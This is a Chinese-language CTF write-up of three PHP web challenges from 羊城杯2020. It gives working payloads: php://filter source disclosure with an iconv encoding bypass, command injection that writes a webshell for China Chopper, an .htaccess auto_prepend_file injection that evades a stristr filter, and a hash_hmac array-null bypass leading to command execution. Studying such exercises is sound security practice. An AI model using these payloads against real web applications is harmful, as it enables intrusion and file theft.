今天迷迷糊糊做了几道题
[羊城杯2020]easyphp2url如下:
xxx/?file=GWHT.php,由此想到伪协议,构造payload读取源码:
?file=php://filter/read=convert.base64-encode/resource=GWHT.php读取源码
显然filter协议或者base64编码查看是被过滤了的,于是尝试更换编码方式
?file=php://filter/read=convert.iconv.utf-8.utf-16be/resource=GWHT.php
因为可以看到关键源码,所以我就没有转码。
可以想到,进入计数器页面,然后实现命令拼接。但由于不知道环境变量PASS的值,所以页面会一直回显hacker。
后来我在robots.txt中发现了check.php并找到了PASS的值,GWHT,修改cookie后,我们就可以进入计数器页面了
之后就是命令拼接,写入shell,payload
'| echo "" > a.php'
之后就是caidao连接,找flag了。
但其实这并没有结束,因为flag.txt被设置了权限,我们需要先拿到密码,解密,才能读取。
printf "GWHTCTF" | su - GWHT -c 'cat /GWHT/system/of/a/down/flag.txt'
[羊城杯2020]easyphp上来直接给源码
思路:利用.htaccess开启php解析功能,然后将.htaccess自身解析为php文件,之后写入php代码cat flag。
难点:绕过stristr:
添加回车符%0a绕过检测(记得要在回车符之前转义,不然htaccess会报错),system函数内可以拼接字符串绕过
转义换行符:
\ 转义即可
payload:
?content=php_value%20auto_prepend_fil\%0ae%20.htaccess%0a%23\&filename=.htaccess
[羊城杯2020]Blackhat下载音乐,notepad打开,末尾处存在php代码
if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){die('谁!竟敢踩我一只耳的尾巴!');}$clandestine = getenv("clandestine");if(isset($_POST['White-cat-monitor']))$clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);if($hh !== $_POST['Black-Cat-Sheriff']){die('有意瞄准,无意击发,你的梦想就是你要瞄准的目标。相信自己,你就是那颗射中靶心的。');}echo exec("nc".$_POST['One-ear']);思路:通过hash_hmac函数的缺陷(遇到数组返回null),使得$clandestine为NULL,之后配合变量构造参数即可
White-cat-monitor[]=1&One-ear=;cat flag.php&Black-CatSheriff=04b13fc0dff07413856e54695eb6a763878cd1934c503784fe6e24b7e8cdb1b6